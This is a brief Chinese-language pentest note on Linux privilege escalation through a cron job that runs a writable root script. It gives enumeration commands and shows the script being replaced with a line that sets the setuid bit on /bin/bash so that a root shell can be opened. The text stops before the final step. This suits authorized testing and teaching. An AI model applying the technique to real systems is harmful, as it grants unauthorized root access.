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# 修改 Bash 脚本 Cron 任务 - Linux 权限提升
Cron 任务 - 修改后的脚本（Bash）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
Cron 任务会在定期执行 root 任务时运行可写脚本、不安全的相对路径或存在漏洞的处理程序，从而创建权限提升路径。关键在于证明某个低权限用户控制着一个特权计划任务将要运行的内容。本页重点关注 **Cron 任务 - 修改脚本（Bash）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## 示例
在这种情况下，我们发现有一个 script.sh \*\*正在运行\*\*：
我们将要做的是 **修改** 脚本为以下内容：
```bash
sleep 2
chmod u+s /bin/bash
```
我们使用 **p** 权限参数运行 Bash：
---
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